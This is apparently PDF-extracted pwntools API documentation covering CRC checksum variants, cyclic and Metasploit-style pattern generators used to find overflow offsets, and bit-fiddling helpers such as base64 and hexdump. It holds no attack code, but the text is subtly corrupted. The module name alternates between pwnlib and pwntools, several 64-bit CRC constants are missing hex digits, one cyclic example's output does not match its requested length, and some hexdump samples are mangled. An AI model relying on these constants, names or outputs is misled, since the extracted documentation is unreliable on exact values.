Calculates the `crc_4_interlaken` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x3`
- `width = 4`
- `init = 0xf`
- `refin = False`
- `refout = False`
- `xorout = 0xf`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.4>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_4_interlaken('123456789')
11
```

`pwnlib.util.crc.crc_4_itu(data)` → int
Calculates the `crc_4_itu` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x3`
- `width = 4`
- `init = 0x0`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-4-itu>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_4_itu('123456789')
7
```

`pwnlib.util.crc.crc_5_epc` (*data*) → int

Calculates the `crc_5_epc` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x9`
- `width = 5`
- `init = 0x9`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.5>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_5_epc('123456789')
0
```

`pwnlib.util.crc.crc_5_itu` (*data*) → int

Calculates the `crc_5_itu` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x15`
- `width = 5`
- `init = 0x0`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-5-itu>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_5_itu('123456789')
7
```

`pwnlib.util.crc.crc_5_usb` (*data*) → int

Calculates the `crc_5_usb` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x5`
- `width = 5`
- `init = 0x1f`
- `refin = True`
- `refout = True`
- `xorout = 0x1f`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-5-usb>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_5_usb('123456789')
25
```

`pwnlib.util.crc.crc_64` (*data*) → int

Calculates the `crc_64` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x42f0e1eba9ea3693`
- `width = 64`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.64>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_64('123456789')
7800480153909949255
```


`pwnlib.util.crc.crc_64_go_iso(data) → int`
Calculates the `crc_64_go_iso` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x1b`
- `width = 64`
- `init = 0xffffffffffffff`
- `refin = True`
- `refout = True`
- `xorout = 0xffffffffffffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-64-go-iso>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_64_go_iso('123456789')
13333283586479230977
```

`pwnlib.util.crc.crc_64_we(data) → int`
Calculates the `crc_64_we` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x42f0e1eba9ea3693`
- `width = 64`
- `init = 0xffffffffffffff`
- `refin = False`
- `refout = False`
- `xorout = 0xffffffffffffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-64-we>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_64_we('123456789')
7128171145767219210
```

`pwnlib.util.crc.crc_64_xz(data) → int`
Calculates the `crc_64_xz` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x42f0e1eba9ea3693`
- `width = 64`
- `init = 0xffffffffffffff`

- `refin = True`
- `refout = True`
- `xorout = 0xffffffffffffff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-64-xz>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_64_xz('123456789')
11051210869376104954
```

`pwnlib.util.crc.crc_6_cdma2000_a` (*data*) → int
Calculates the `crc_6_cdma2000_a` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x27`
- `width = 6`
- `init = 0x3f`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.6>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_6_cdma2000_a('123456789')
13
```

`pwnlib.util.crc.crc_6_cdma2000_b` (*data*) → int
Calculates the `crc_6_cdma2000_b` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x7`
- `width = 6`
- `init = 0x3f`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-6-cdma2000-b>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_6_cdma2000_b('123456789')
59
```

`pwnlib.util.crc.crc_6_darc(data) → int`
Calculates the `crc_6_darc` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x19`
- `width = 6`
- `init = 0x0`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-6-darc>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_6_darc('123456789')
38
```

`pwnlib.util.crc.crc_6_gsm(data) → int`
Calculates the `crc_6_gsm` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x2f`
- `width = 6`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x3f`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-6-gsm>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_6_gsm('123456789')
19
```

`pwnlib.util.crc.crc_6_itu(data) → int`
Calculates the `crc_6_itu` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x3`
- `width = 6`
- `init = 0x0`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-6-itu>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_6_itu('123456789')
6
```

`pwnlib.util.crc.crc_7` (*data*) → int

Calculates the `crc_7` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x9`
- `width = 7`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.7>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_7('123456789')
117
```

`pwnlib.util.crc.crc_7_rohc` (*data*) → int

Calculates the `crc_7_rohc` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x4f`
- `width = 7`
- `init = 0x7f`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-7-rohc>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_7_rohc('123456789')
83
```

`pwnlib.util.crc.crc_7_ums`(*data*) → int

Calculates the `crc_7_ums` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x45`
- `width = 7`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-7-ums>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_7_ums('123456789')
97
```

`pwnlib.util.crc.crc_8`(*data*) → int

Calculates the `crc_8` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x7`
- `width = 8`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.8>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_8('123456789')
244
```

`pwnlib.util.crc.crc_82_darc(data) → int`
Calculates the `crc_82_darc` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x308c0111011401440411`
- `width = 82`
- `init = 0x0`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat-bits.82>

Parameters `data (str)` – The data to checksum.

Example

```
>>> print crc_82_darc('123456789')
749237524598872659187218
```

`pwnlib.util.crc.crc_8_autosar(data) → int`
Calculates the `crc_8_autosar` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x2f`
- `width = 8`
- `init = 0xff`
- `refin = False`
- `refout = False`
- `xorout = 0xff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-autosar>

Parameters `data (str)` – The data to checksum.

Example

```
>>> print crc_8_autosar('123456789')
223
```

`pwnlib.util.crc.crc_8_cdma2000(data) → int`
Calculates the `crc_8_cdma2000` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x9b`
- `width = 8`
- `init = 0xff`

- refin = False
- refout = False
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-cdma2000>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_8_cdma2000('123456789')
218
```

`pwnlib.util.crc.crc_8_darc` (*data*) → int
Calculates the `crc_8_darc` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x39
- width = 8
- init = 0x0
- refin = True
- refout = True
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-darc>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_8_darc('123456789')
21
```

`pwnlib.util.crc.crc_8_dvb_s2` (*data*) → int
Calculates the `crc_8_dvb_s2` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0xd5
- width = 8
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-dvb-s2>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_8_dvb_s2('123456789')
188
```

`pwntools.util.crc.crc_8_ebu(data) → int`
Calculates the `crc_8_ebu` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x1d`
- `width = 8`
- `init = 0xff`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-ebu>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_8_ebu('123456789')
151
```

`pwntools.util.crc.crc_8_gsm_a(data) → int`
Calculates the `crc_8_gsm_a` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x1d`
- `width = 8`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-gsm-a>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_8_gsm_a('123456789')
55
```

`pwntools.util.crc.crc_8_gsm_b(data) → int`
Calculates the `crc_8_gsm_b` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x49`
- `width = 8`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0xff`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-gsm-b>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_8_gsm_b('123456789')
148
```

`pwnlib.util.crc.crc_8_i_code` (*data*) → int

Calculates the `crc_8_i_code` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x1d`
- `width = 8`
- `init = 0xfd`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-i-code>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_8_i_code('123456789')
126
```

`pwnlib.util.crc.crc_8_itu` (*data*) → int

Calculates the `crc_8_itu` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x7`
- `width = 8`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x55`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-itu>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_8_itu('123456789')
161
```

`pwnlib.util.crc.crc_8_lte` (*data*) → int

Calculates the `crc_8_lte` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x9b`
- `width = 8`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-lte>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_8_lte('123456789')
234
```

`pwnlib.util.crc.crc_8_maxim` (*data*) → int

Calculates the `crc_8_maxim` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x31`
- `width = 8`
- `init = 0x0`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-maxim>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_8_maxim('123456789')
161
```

`pwnlib.util.crc.crc_8_opensafety(data) → int`
Calculates the `crc_8_opensafety` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x2f`
- `width = 8`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-opensafety>

Parameters `data (str)` – The data to checksum.

Example

```
>>> print crc_8_opensafety('123456789')
62
```

`pwnlib.util.crc.crc_8_rohc(data) → int`
Calculates the `crc_8_rohc` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x7`
- `width = 8`
- `init = 0xff`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-rohc>

Parameters `data (str)` – The data to checksum.

Example

```
>>> print crc_8_rohc('123456789')
208
```

`pwnlib.util.crc.crc_8_sae_j1850(data) → int`
Calculates the `crc_8_sae_j1850` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x1d`
- `width = 8`
- `init = 0xff`

- refin = False
- refout = False
- xorout = 0xff

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-sae-j1850>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_8_sae_j1850('123456789')
75
```

`pwnlib.util.crc.crc_8_wcdma` (*data*) → int
Calculates the `crc_8_wcdma` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x9b
- width = 8
- init = 0x0
- refin = True
- refout = True
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-wcdma>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_8_wcdma('123456789')
37
```

`pwnlib.util.crc.crc_a` (*data*) → int
Calculates the `crc_a` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x1021
- width = 16
- init = 0xc6c6
- refin = True
- refout = True
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-a>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print crc_a('123456789')
48901
```

`pwnlib.util.crc.jamcrc` (*data*) → int
Calculates the jamcrc checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x4c11db7`
- `width = 32`
- `init = 0xffffffff`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.jamcrc>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print jamcrc('123456789')
873187033
```

`pwnlib.util.crc.kermit` (*data*) → int
Calculates the kermit checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x1021`
- `width = 16`
- `init = 0x0`
- `refin = True`
- `refout = True`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.kermit>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print kermit('123456789')
8585
```

`pwnlib.util.crc.modbus` (*data*) → int
Calculates the modbus checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x8005
- width = 16
- init = 0xffff
- refin = True
- refout = True
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.modbus>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print modbus('123456789')
19255
```

`pwnlib.util.crc.x_25` (*data*) → int

Calculates the `x_25` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x1021
- width = 16
- init = 0xffff
- refin = True
- refout = True
- xorout = 0xffff

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.x-25>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print x_25('123456789')
36974
```

`pwnlib.util.crc.xfer` (*data*) → int

Calculates the `xfer` checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0xaf
- width = 32
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.xfer>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print xfer('123456789')
3171672888
```

`pwnlib.util.crc.xmodem(data) → int`

Calculates the xmodem checksum.

This is simply the `generic_crc()` with these frozen arguments:

- `polynom = 0x1021`
- `width = 16`
- `init = 0x0`
- `refin = False`
- `refout = False`
- `xorout = 0x0`

See also: <http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.xmodem>

Parameters `data` (*str*) – The data to checksum.

Example

```
>>> print xmodem('123456789')
12739
```

2.32 `pwnlib.util.cyclic` — Generation of unique sequences

`pwnlib.util.cyclic.cyclic(length = None, alphabet = None, n = None) → list/str`

A simple wrapper over `de_bruijn()`. This function returns at most `length` elements.

If the given alphabet is a string, a string is returned from this function. Otherwise a list is returned.

Parameters

- **length** – The desired length of the list or `None` if the entire sequence is desired.
- **alphabet** – List or string to generate the sequence over.
- **n** (*int*) – The length of subsequences that should be unique.

Notes

The maximum length is `len(alphabet)**n`.

The default values for `alphabet` and `n` restrict the total space to ~446KB.

If you need to generate a longer cyclic pattern, provide a longer `alphabet`, or if possible a larger `n`.

Example

Cyclic patterns are usually generated by providing a specific *length*.

```
>>> cyclic(20)
'aaaabaaacaaadaaaeaaa'
```

```
>>> cyclic(32)
'aaaabaaacaaadaaaeaaafaaagaaahaaa'
```

The *alphabet* and *n* arguments will control the actual output of the pattern

```
>>> cyclic(20, alphabet=string.ascii_uppercase)
'AAAABAAACAAADAAAEAAA'
```

```
>>> cyclic(20, n=8)
'aaaaaaaaabaaaaaaaaacaaa'
```

```
>>> cyclic(20, n=2)
'aabacadaeafagahaiaja'
```

The size of *n* and *alphabet* limit the maximum length that can be generated. Without providing *length*, the entire possible cyclic space is generated.

```
>>> cyclic(alphabet = "ABC", n = 3)
'AAABAACABBABCACBACCBBBCBCCC'
```

```
>>> cyclic(length=512, alphabet = "ABC", n = 3)
Traceback (most recent call last):
...
PwnlibException: Can't create a pattern length=512 with len(alphabet)==3 and n==3
```

The *alphabet* can be set in *context*, which is useful for circumstances when certain characters are not allowed. See `context.cyclic_alphabet`.

```
>>> context.cyclic_alphabet = "ABC"
>>> cyclic(10)
'AAAABAAACA'
```

The original values can always be restored with:

```
>>> context.clear()
```

The following just a test to make sure the length is correct.

```
>>> alphabet, n = range(30), 3
>>> len(alphabet)**n, len(cyclic(alphabet = alphabet, n = n))
(27000, 27000)
```

`pwntools.util.cyclic.cyclic_find(subseq, alphabet = None, n = None) → int`
 Calculates the position of a substring into a De Bruijn sequence.

Parameters

- **subseq** – The subsequence to look for. This can be a string, a list or an integer. If an integer is provided it will be packed as a little endian integer.

- **alphabet** – List or string to generate the sequence over. By default, uses `context.cyclic_alphabet`.
- **n** (*int*) – The length of subsequences that should be unique. By default, uses `context.cyclic_size`.

Examples

Let's generate an example cyclic pattern.

```
>>> cyclic(16)
'aaaabaaacaaadaaa'
```

Note that 'baaa' starts at offset 4. The `cyclic_find` routine shows us this:

```
>>> cyclic_find('baaa')
4
```

The *default* length of a subsequence generated by `cyclic` is 4. If a longer value is submitted, it is automatically truncated to four bytes.

```
>>> cyclic_find('baaacaaa')
4
```

If you provided e.g. `n=8` to `cyclic` to generate larger subsequences, you must explicitly provide that argument.

```
>>> cyclic_find('baaacaaa', n=8)
3515208
```

We can generate a large cyclic pattern, and grab a subset of it to check a deeper offset.

```
>>> cyclic_find(cyclic(1000) [514:518])
514
```

Instead of passing in the byte representation of the pattern, you can also pass in the integer value. Note that this is sensitive to the selected endianness via `context.endian`.

```
>>> cyclic_find(0x61616162)
4
>>> cyclic_find(0x61616162, endian='big')
1
```

You can use anything for the cyclic pattern, including non-printable characters.

```
>>> cyclic_find(0x00000000, alphabet=unhex('DEADBEEF00'))
621
```

`pwnlib.util.cyclic.cyclic_metasploit` (*length = None, sets = [string.ascii_uppercase, string.ascii_lowercase, string.digits]*) → str
A simple wrapper over `metasploit_pattern()`. This function returns a string of length *length*.

Parameters

- **length** – The desired length of the string or None if the entire sequence is desired.
- **sets** – List of strings to generate the sequence over.

Example

```
>>> cyclic_metasploit(32)
'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab'
>>> cyclic_metasploit(sets = ["AB", "ab", "12"])
'Aa1Aa2Ab1Ab2Ba1Ba2Bb1Bb2'
>>> cyclic_metasploit()[1337:1341]
'5Bs6'
>>> len(cyclic_metasploit())
20280
```

`pwntools.util.cyclic.cyclic_metasploit_find(subseq, sets = [string.ascii_uppercase, string.ascii_lowercase, string.digits]) → int`

Calculates the position of a substring into a Metasploit Pattern sequence.

Parameters

- **subseq** – The subsequence to look for. This can be a string or an integer. If an integer is provided it will be packed as a little endian integer.
- **sets** – List of strings to generate the sequence over.

Examples

```
>>> cyclic_metasploit_find(cyclic_metasploit(1000)[514:518])
514
>>> cyclic_metasploit_find(0x61413161)
4
```

`pwntools.util.cyclic.de_bruijn(alphabet = None, n = None) → generator`

Generator for a sequence of unique substrings of length *n*. This is implemented using a De Bruijn Sequence over the given *alphabet*.

The returned generator will yield up to `len(alphabet) ** n` elements.

Parameters

- **alphabet** – List or string to generate the sequence over.
- **n** (*int*) – The length of subsequences that should be unique.

`pwntools.util.cyclic.metasploit_pattern(sets = [string.ascii_uppercase, string.ascii_lowercase, string.digits]) → generator`

Generator for a sequence of characters as per Metasploit Framework's `Rex::Text.pattern_create` (aka `pattern_create.rb`).

The returned generator will yield up to `len(sets) * reduce(lambda x,y: x*y, map(len, sets))` elements.

Parameters **sets** – List of strings to generate the sequence over.

2.33 pwntools.util.fiddling — Utilities bit fiddling

`pwntools.util.fiddling.b64d(s) → str`

Base64 decodes a string

Example

```
>>> b64d('dGVzdA==')
'test'
```

pwnlib.util.fiddling.**b64e**(*s*) → str
Base64 encodes a string

Example

```
>>> b64e("test")
'dGVzdA=='
```

pwnlib.util.fiddling.**bits**(*s*, *endian* = 'big', *zero* = 0, *one* = 1) → list
Converts the argument a list of bits.

Parameters

- **s** – A string or number to be converted into bits.
- **endian** (*str*) – The binary endian, default 'big'.
- **zero** – The representing a 0-bit.
- **one** – The representing a 1-bit.

Returns A list consisting of the values specified in *zero* and *one*.

Examples

```
>>> bits(511, zero = "+", one = "-")
['+', '+', '+', '+', '+', '+', '+', '+', '-', '-', '-', '-', '-', '-', '-', '-']
>>> sum(bits("test"))
17
>>> bits(0)
[0, 0, 0, 0, 0, 0, 0, 0]
```

pwnlib.util.fiddling.**bits_str**(*s*, *endian* = 'big', *zero* = '0', *one* = '1') → str
A wrapper around *bits()*, which converts the output into a string.

Examples

```
>>> bits_str(511)
'0000000111111111'
>>> bits_str("bits_str", endian = "little")
'01000110100101100010111011001110111010110011100010111001001110'
```

pwnlib.util.fiddling.**bitswap**(*s*) → str
Reverses the bits in every byte of a given string.

Example

```
>>> bitswap("1234")
'\x8cL\xcc,'
```

`pwntools.util.fiddling.bitswap_int(n) → int`
 Reverses the bits of a numbers and returns the result as a new number.

Parameters

- **n** (*int*) – The number to swap.
- **width** (*int*) – The width of the integer

Examples

```
>>> hex(bitswap_int(0x1234, 8))
'0x2c'
>>> hex(bitswap_int(0x1234, 16))
'0x2c48'
>>> hex(bitswap_int(0x1234, 24))
'0x2c4800'
>>> hex(bitswap_int(0x1234, 25))
'0x589000'
```

`pwntools.util.fiddling.bnot(value, width=None)`
 Returns the binary inverse of ‘value’.

`pwntools.util.fiddling.enhex(x) → str`
 Hex-encodes a string.

Example

```
>>> enhex("test")
'74657374'
```

`pwntools.util.fiddling.hexdump(s, width=16, skip=True, hexii=False, begin=0, style=None, highlight=None, cyclic=False, groupsize=4)`

hexdump(s, width = 16, skip = True, hexii = False, begin = 0, style = None, highlight = None, cyclic = False, groupsize=4) -> str generator

Return a hexdump-dump of a string.

Parameters

- **s** (*str*) – The data to hexdump.
- **width** (*int*) – The number of characters per line
- **groupsize** (*int*) – The number of characters per group
- **skip** (*bool*) – Set to True, if repeated lines should be replaced by a “*”
- **hexii** (*bool*) – Set to True, if a hexii-dump should be returned instead of a hexdump.
- **begin** (*int*) – Offset of the first byte to print in the left column
- **style** (*dict*) – Color scheme to use.

(continued from previous page)

```
000000d0 d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df
↳ |....|....|....|....|
000000e0 e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef
↳ |....|....|....|....|
000000f0 f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff
↳ |....|....|....|....|
00000100
```

```
>>> print hexdump(list(map(chr, range(256))), hexii=True)
00000000 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f
00000010 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f
00000020 20 .! ." .# .$ .% .& .' .( .) .* .+ ., .- .. ./
00000030 .0 .1 .2 .3 .4 .5 .6 .7 .8 .9 .: .; .< .= .> .?
00000040 .@ .A .B .C .D .E .F .G .H .I .J .K .L .M .N .O
00000050 .P .Q .R .S .T .U .V .W .X .Y .Z .[ .\ .] .^ ._
00000060 ` .a .b .c .d .e .f .g .h .i .j .k .l .m .n .o
00000070 .p .q .r .s .t .u .v .w .x .y .z .{ .| .} .~ 7f
00000080 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f
00000090 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f
000000a0 a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af
000000b0 b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf
000000c0 c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf
000000d0 d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df
000000e0 e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef
000000f0 f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ##
00000100
```

```
>>> print hexdump('X' * 64)
00000000 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
↳ |xxxx|xxxx|xxxx|xxxx|
*
00000040
```

```
>>> print hexdump('X' * 64, skip=False)
00000000 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
↳ |xxxx|xxxx|xxxx|xxxx|
00000010 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
↳ |xxxx|xxxx|xxxx|xxxx|
00000020 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
↳ |xxxx|xxxx|xxxx|xxxx|
00000030 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
↳ |xxxx|xxxx|xxxx|xxxx|
00000040
```

```
>>> print hexdump(fit({0x10: 'X'*0x20, 0x50-1: '\xff'*20}, length=0xc0) + '\x00' * 32)
↳ *32)
00000000 61 61 61 61 62 61 61 61 63 61 61 61 64 61 61 61
↳ |aaaa|baaa|caaa|daaa|
00000010 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
↳ |xxxx|xxxx|xxxx|xxxx|
*
00000030 6d 61 61 61 6e 61 61 61 6f 61 61 61 70 61 61 61
↳ |maaa|naaa|oaaa|paaa|
00000040 71 61 61 61 72 61 61 61 73 61 61 61 74 61 61 ff
↳ |qaaa|raaa|saaa|taa·|
```

(continues on next page)

(continued from previous page)

```

00000050  ff ff ff ff  ff ff ff ff  ff ff ff ff  ff ff ff ff  _
↳ |....|....|....|....|
00000060  ff ff ff 61  7a 61 61 62  62 61 61 62  63 61 61 62  _
↳ |...a|zaab|baab|caab|
00000070  64 61 61 62  65 61 61 62  66 61 61 62  67 61 61 62  _
↳ |daab|eaab|faab|gaab|
00000080  68 61 61 62  69 61 61 62  6a 61 61 62  6b 61 61 62  _
↳ |haab|iaab|jaab|kaab|
00000090  6c 61 61 62  6d 61 61 62  6e 61 61 62  6f 61 61 62  _
↳ |laab|maab|naab|oaab|
000000a0  70 61 61 62  71 61 61 62  72 61 61 62  73 61 61 62  _
↳ |paab|qaab|raab|saab|
000000b0  74 61 61 62  75 61 61 62  76 61 61 62  77 61 61 62  _
↳ |taab|uaab|vaab|waab|
000000c0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  _
↳ |....|....|....|....|
*
000000e0

```

```

